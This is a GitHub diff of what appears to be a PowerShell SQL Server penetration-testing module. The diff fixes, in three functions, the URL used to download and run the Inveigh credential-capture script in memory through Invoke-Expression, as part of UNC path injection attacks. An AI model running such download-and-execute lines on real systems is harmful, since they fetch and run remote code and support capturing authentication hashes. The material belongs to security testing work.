File tree Expand file tree Collapse file tree
Expand file tree Collapse file tree Original file line number Diff line number Diff line change @@ -1081,7 +1081,7 @@ Function Invoke-SQLUncPathInjection {
10811081 {
10821082 # Attempt to load Inveigh via reflection - naturally this bombs if there is no outbound internet. Exits if not loaded.
10831083 try {
1084- Invoke-Expression -Command (New-Object -TypeName system.net.webclient).downloadstring('https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Scripts/ Inveigh.ps1') -ErrorAction Stop
1084+ Invoke-Expression -Command (New-Object -TypeName system.net.webclient).downloadstring('https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Inveigh.ps1') -ErrorAction Stop
10851085 Write-Verbose "Inveigh loaded"
10861086 } catch {
10871087 $ErrorMessage = $_.Exception.Message
@@ -19902,7 +19902,7 @@ Function Invoke-SQLAuditPrivXpDirtree
1990219902 }
1990319903
1990419904 # Attempt to load Inveigh via reflection
19905- Invoke-Expression -Command (New-Object -TypeName system.net.webclient).downloadstring('https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Scripts/ Inveigh.ps1')
19905+ Invoke-Expression -Command (New-Object -TypeName system.net.webclient).downloadstring('https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Inveigh.ps1')
1990619906
1990719907 $TestIt = Test-Path -Path Function:\Invoke-Inveigh
1990819908 if($TestIt -eq 'True')
@@ -20243,7 +20243,7 @@ Function Invoke-SQLAuditPrivXpFileexist
2024320243 #Invoke-Expression($InveighSrc)
2024420244
2024520245 # Attempt to load Inveigh via reflection
20246- Invoke-Expression -Command (New-Object -TypeName system.net.webclient).downloadstring('https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Scripts/ Inveigh.ps1')
20246+ Invoke-Expression -Command (New-Object -TypeName system.net.webclient).downloadstring('https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Inveigh.ps1')
2024720247
2024820248 $TestIt = Test-Path -Path Function:\Invoke-Inveigh
2024920249 if($TestIt -eq 'True')
You can’t perform that action at this time.
0 commit comments